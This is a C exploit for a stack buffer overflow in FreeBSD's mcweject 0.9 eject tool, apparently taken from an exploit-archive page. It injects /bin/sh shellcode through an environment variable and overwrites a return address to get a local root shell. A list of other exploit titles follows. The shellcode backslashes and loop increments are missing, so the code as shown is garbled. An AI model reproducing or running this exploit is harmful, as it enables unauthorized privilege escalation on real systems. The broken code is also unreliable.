// ejecsploit.c - local root exploit for bsd's eject.c
// harry
// vuln found by kokanin (you 31337!!! ;))
// thanks to sacrine and all the other netric guys!!! you rule :)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define LEN 1264
#define NOP 0x90
extern char** environ;
int main(){
char buf[LEN];
char* ptr;
char* arg[4];
unsigned int ret, i;
char shellcode[]="xebx17x5bx31xc0x88x43x07x89x5bx08x89"
"x43x0cx50x8dx53x08x52x53xb0x3bx50xcd"
"x80xe8xe4xffxffxff/bin/sh";
// hardcoded... too boneidle to fix this
ret = 0xbfbfee16;
char envshell[4096];
ptr = envshell;
for (i = 0; i < 4096 - strlen(shellcode) - 1; i ) *(ptr ) = NOP;
for (i = 0; i < strlen(shellcode); i ) *(ptr ) = shellcode;
*(ptr) = 0x0;
memcpy (envshell, "BLEH=",5);
putenv(envshell);
memset (buf, 0x41, sizeof(buf));
buf[LEN-5] = (char) ( 0x000000ff & ret);
buf[LEN-4] = (char) ((0x0000ff00 & ret) >> 8);
buf[LEN-3] = (char) ((0x00ff0000 & ret) >> 16);
buf[LEN-2] = (char) ((0xff000000 & ret) >> 24);
buf[LEN-1] = 0x0;
arg[0] = "/usr/local/sbin/eject";
arg[1] = "-t";
arg[2] = buf;
arg[3] = NULL;
execve (arg[0], arg, environ);
return 0;
}
【FreeBSD mcweject 0.9 (eject) Local Root Buffer Overflow Exploit】相关文章：
★ PPMate PPMedia Class ActiveX Control Buffer Overflow PoC
★ Discuz! 6.0.1 (searchid) Remote SQL Injection Exploit
★ MojoClassifieds 2.0 Remote Blind SQL Injection Exploit
★ Microsoft Access (Snapview.ocx 10.0.5529.0) ActiveX Remote Exploit
★ Ultra Office ActiveX Control Remote Arbitrary File Corruption Exploit
★ Sports Clubs Web Panel 0.0.1 Remote Game Delete Exploit
★ DESlock 3.2.7 (vdlptokn.sys) Local Denial of Service Exploit
★ BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (spoof on ircd)
★ Pragyan CMS 2.6.2 (sourceFolder) Remote File Inclusion Vulnerability
★ WarFTP 1.65 (USER) Remote Buffer Overlow Exploit